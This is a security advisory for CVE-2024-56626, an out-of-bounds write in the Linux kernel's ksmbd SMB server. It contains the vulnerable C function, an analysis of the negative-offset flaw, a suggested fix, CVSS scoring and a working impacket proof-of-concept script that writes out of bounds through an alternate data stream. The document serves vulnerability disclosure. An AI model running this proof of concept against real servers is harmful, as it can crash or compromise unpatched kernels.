Skip to content

Linux Kernel: Out of bounds Write in ksmbd_vfs_stream_write

Critical
rcorrea35 published GHSA-qmm2-xfcw-4r29 Jan 9, 2025

Package

ksmbd_vfs_stream_write (Linux Kernel)

Affected versions

> 5.15

Patched versions

v6.13-rc2

Description

Summary

The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer.

Severity

Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce.

Analysis

static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
				  size_t count)
{
	char *stream_buf = NULL, *wbuf;
	struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
	size_t size;
	ssize_t v_len;
	int err = 0;

	ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
		    *pos, count);

	size = *pos + count; // (1) 
	if (size > XATTR_SIZE_MAX) {
		size = XATTR_SIZE_MAX;
		count = (*pos + count) - XATTR_SIZE_MAX;
	}

	v_len = ksmbd_vfs_getcasexattr(idmap,
				       fp->filp->f_path.dentry,
				       fp->stream.name,
				       fp->stream.size,
				       &stream_buf);
	if (v_len < 0) {
		pr_err("not found stream in xattr : %zd\n", v_len);
		err = v_len;
		goto out;
	}

	if (v_len < size) {
		wbuf = kvzalloc(size, GFP_KERNEL);
		if (!wbuf) {
			err = -ENOMEM;
			goto out;
		}

		if (v_len > 0)
			memcpy(wbuf, stream_buf, v_len);
		kvfree(stream_buf);
		stream_buf = wbuf;
	}

	memcpy(&stream_buf[*pos], buf, count); // (2)

	err = ksmbd_vfs_setxattr(idmap,
				 &fp->filp->f_path,
				 fp->stream.name,
				 (void *)stream_buf,
				 size,
				 0,
				 true);
	if (err < 0)
		goto out;

	fp->filp->f_pos = *pos;
	err = 0;
out:
	kvfree(stream_buf);
	return err;
}

  1. Insufficient Validation: The calculation of the size variable at (1) (size = *pos + count;) allows for a negative value of *pos.
  2. Out-of-Bounds Write: The memcpy at (2) uses *pos directly as an offset into stream_buf. If *pos is negative, this results in writing data to memory before the start of the allocated buffer.
  3. Attacker-Controlled Data: The data being written (buf) comes directly from the user-supplied SMB write request, giving the attacker full control over the contents written out-of-bounds.

Remediation

The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like:
if (offset < 0) {
return -EINVAL;
}
This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read.

Proof of Concept

from impacket import smb3 as smb, smbconnection
from hexdump import hexdump


class BugClient:
    def __init__(self, target, share, username, password, domain="", port=445):
        self.target = target
        self.share = share
        self.username = username
        self.password = password
        self.domain = domain
        self.port = port
        self.smbClient = smbconnection.SMBConnection(
            self.target, self.target, sess_port=self.port
        )
        self.smbClient.login(self.username, self.password, self.domain)

    def leak_oob(self, file_path, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file
            file_id = self.smbClient.openFile(
                tree_id, file_path, desiredAccess=smb.FILE_READ_DATA
            )

            # Read the file contents at offset
            data = self.smbClient.readFile(
                tree_id, file_id, 18446744073709551615 - how_much, how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the tree
            self.smbClient.disconnectTree(tree_id)

            return data

        except Exception as e:
            print(f"Error reading file: {e}")
            return None

    def write_oob(self, file_path, data, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file for writing
            file_id = self.smbClient.openFile(
                tree_id,
                file_path,
                desiredAccess=smb.GENERIC_WRITE,
                creationDisposition=smb.FILE_CREATE,
            )

            # Write data at the specified offset
            self.smbClient.writeFile(
                tree_id, file_id, data, 18446744073709551615 - how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the share
            self.smbClient.disconnectTree(tree_id)
        except Exception as e:
            print(f"Error writing file: {e}")
            return None


client = BugClient("127.0.0.1", "share1", "", "") # Host, share, user, pass

# Write a bunch of B's OOB - will probably give a splat (rerun if not crashing yet)
client.write_oob("/file:stream1:$data", "B" * 3002, 3000)

Timeline

Date reported: 11/10/2024
Date fixed: 12/10/2024
Date disclosed: 01/09/2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-56626

Weaknesses

No CWEs

Credits